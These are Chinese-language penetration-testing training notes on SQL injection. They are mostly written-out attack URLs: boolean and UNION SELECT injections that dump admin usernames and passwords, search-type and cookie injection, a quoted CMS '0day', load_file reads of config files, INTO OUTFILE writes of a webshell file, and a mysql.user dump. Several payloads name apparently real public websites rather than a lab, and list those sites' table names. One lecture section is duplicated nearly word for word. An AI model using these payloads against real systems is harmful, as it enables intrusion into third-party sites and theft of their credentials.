渗透测试安全培训
第一节
搭建环境介绍
脚本语言介绍
asp php jsp aspx 环境介绍
服务器设置情况
数据库类型介绍
编程语言:c/c++,java,delphi,object-c,net,c#。。。
脚本语言:asp php jsp aspx python cgi perl war javascript ...
asp php jsp aspx 环境介绍:
脚本程序+服务器操作系统+数据库=web环境
操作系统:5.0(win98)iis6.0(2003) 7.X(win7,win2008)
apache(linux win)
tomcat uginx(linux)
asp + access + iis
asp + sqlserver +iis
php + mysql + apache tomcat uginx
jsp + sqlserver + tomcat
jsp + oracle + tomcat
aspx + sqlserver + iis
获取这个网站的搭建环境?
www.xx.com/sss.asp?id=1
利用工具:站长之家、wwwscan、 破壳 、awvs等 查询
服务器设置情况:入侵遇上的情况说明
入侵网站,无法新建文件,文件夹等,操作权限很小。
数据库:
access sqlserver(mssql) mysql oracle db2 .....
第二节
课程内容:
网站后门格式剖析
初识sql注入漏洞原理
了解各个数据库下的注入
网站后门格式剖析:
asp?id=1 输入sql语句注入
asp php aspx jsp do html shtml cgi
伪静态的问题(动转静)
asp 肯定是支持asp格式 asp格式木马可以成功执行
大小马 一句话木马
图片格式 jpg gif png 文本txt 压缩包 zip rar。。。
怎么判断后门执行成功 一般成功就不会现实代码。
初识sql注入漏洞原理:
网站没有对输入的字符进行过滤,导致输入的字符影响到网站数据的查询。
编程 数学逻辑思维 and or xor 且 或 否
或:有一个真就是真
且:有一个假就为假
否:相反
http://www.zhjzg.com/ship.asp?id=4 and 1=1 正确 and 1=2 错误
and exists (select [pwd] from [admin]) sql语句
admin下一般包括
username
password
第三节
课程内容
初识web安全之注入漏洞
分析sql注入流程
工具注入和手工注入
安装iis或者下载asp搭建环境(小旋风软件)
怎么找是否有注入漏洞?
第一个找符合参数链接的网站
第二个判断是否存在注入
第三个实施注入攻击
http://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1513
and 1=1 and 1=X 发现有注入
分析sql注入流程:
第一步 猜解表名
第二步 猜解列名
第三步 猜解内容
order by XX 判断有多少字段
union select 1,2,3,4,5,6... from admin
22 对的没有报错 23 错 也就是 22个字段
http://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
第四节
课程内容:
三大web提交方式
提交方式下的注入
了解cookie注入
三大web提交方式:GET POST COOKIE
GET /1/shownews.asp?id=27 and 1=1 HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: SUNBLSDFBEXADEXXIDYL=DWINSGJSLWMDDQTWHISLFMSRRMWPPYNJUTFLMTEP; dmwh_user_ip=127.0.0.1
get:直接在浏览器上面访问地址
post:按钮事件(会员注册,文件上传等)
cookie:访问网站下面自带的身份验证的值
页面提示内容 请不要在参数中出现:and update delete ; insert mid master 等非法字符!
普通的注入就没办法了,可以尝试大小写,编码等绕过,但是过滤严谨,无法绕过!
代码审计:get 请求进行了过滤
检查特殊字符
了解cookie注入:注入中转工具,工具注入(sqlmap,穿山甲等),手工cookie注入
课程内容:第五讲
各大参数类型详解
各大类型下的注入
分析具体注入原理
各大参数类型详解:字符型,数字型,搜索型
字符型:例如:abcd。。。。。26个英文字母 中文
数字型:0-9
搜索型:搜索关键字
编程中对于字符型的数据是什么表示的?
0123456789 "a" 'b' a 变量 常量
各大类型下的注入:前面我们的注入基本都是数字型,前面注入语句都是基于数字型注入
字符型注入:
http://localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包
http://localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
http://localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
搜索型注入:搜索框里面存在
http://www.myhack58.com/product/list_search.aspx?search=Donic
http://www.myhack58.com/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号
http://www.myhack58.com/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名
http://www.myhack58.com/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
代码审计:南方数据0day 分析
http://www.xxx.com/NewsType.asp?SmallClass=' union select 0,username+CHR(124)+password,2,3,4,5,6,7,8,9 from admin union select * from news where 1=2 and ''='
http://www.chinafxhb.com/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='
select * from News where BigClassName='"& BigClass &"' and SmallClassName='"‘union select 0,username+CHR(124)+password,2,3,4,5,6,7,8,9 from admin union select * from news where 1=2 "' order by AddDate desc
第六讲(上)
SQL命令渗透篇
php+mysql注入
php+mysql注入入侵思路
需要注意的地方
SQL命令渗透篇
mysql.exe -u用户名 -p密码 -hip地址
show databases 查看数据库
select version()。。。。php注入下的查询版本
select * from 表名 查询表名下的列名use database 用到这张表
insert 插入 update 更新
select '数据'
into outfile '路径' (导出数据到路径)
select load_file(hex) 查看路径hex编码内容
注入点:http://www.5hchina.com/news_view.php?id=7406
order by 22
http://www.5hchina.com/news_view.php?id=-7406 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
http://www.5hchina.com/news_view.php?id=-7406 UNION SELECT 1,2,version(),4,5,user(),7,8,@@version_compile_os,10,11,12,13,14,15,16,17,18,19,20,21,22--
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x35686368696E61
5hchina:
admuser,admuser2,adn_anuncios,adn_foros,adn_foros_nuevos,adn_malas_palabras,adn_mensajes,adn_mensajes_nuevos,adn_paginas,adn_usuarios,answer,attach,book,case_history,classes,classes2,click,docs,export,getwell,lyb,lyb2,member,news,pinglun,proclasses,production,soft,temp_tab,udf_temp,vote,vote_save,zhidao
admuser:
id,username,password
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.columns where table_name=0x61646D75736572
5hchina:
admuser:
username password
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,username,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admuser
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,username,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admuser
version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root
@@version_compile_os 操作系统 win32
注意地方:该编码的编码
课程内容:第七讲(下)
1 SQL命令渗透篇
2 php+mysql注入
3 php+mysql注入入侵思路
需要注意的地方
SQL命令渗透篇
mysql.exe -u用户名 -p密码 -hip地址
show databases 查看数据库
select version()。。。。php注入下的查询版本
select * from 表名 查询表名下的列名use database 用到这张表
insert 插入 update 更新
select '数据'
into outfile '路径' (导出数据到路径)
select load_file(hex) 查看路径hex编码内容
注入点:http://www.5hchina.com/news_view.php?id=7406
order by 22
http://www.5hchina.com/news_view.php?id=-7406 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
http://www.5hchina.com/news_view.php?id=-7406 UNION SELECT 1,2,version(),4,5,user(),7,8,@@version_compile_os,10,11,12,13,14,15,16,17,18,19,20,21,22--
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x35686368696E61
5hchina:
admuser,admuser2,adn_anuncios,adn_foros,adn_foros_nuevos,adn_malas_palabras,adn_mensajes,adn_mensajes_nuevos,adn_paginas,adn_usuarios,answer,attach,book,case_history,classes,classes2,click,docs,export,getwell,lyb,lyb2,member,news,pinglun,proclasses,production,soft,temp_tab,udf_temp,vote,vote_save,zhidao
admuser:
id,username,password
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.columns where table_name=0x61646D75736572
5hchina:
admuser:
username password
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,username,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admuser
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,username,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admuser
version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root
@@version_compile_os 操作系统 win32
注意地方:该编码的编码
权限下的注入入侵:root权限或者高权限
1.查看文件获取相关信息 (load_file)
2.导入导出一句话拿shell (into outfile)
注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客site:5hchina.com warning
文件报错
查看敏感文件info.php phpinfo.php test.php
1编码选择hex编码
2如果不编码用''符号表示(hex和’’选择其一就好)
符号的反正型“/”和“\”
D:\web\5hchina.com\根网站路径
root权限:
1.查看文件获取相关信息
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
conn.php common.php config.php
0x443A2F7765622F35686368696E612E636F6D2F636F6E6E2E706870
2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from mysql.user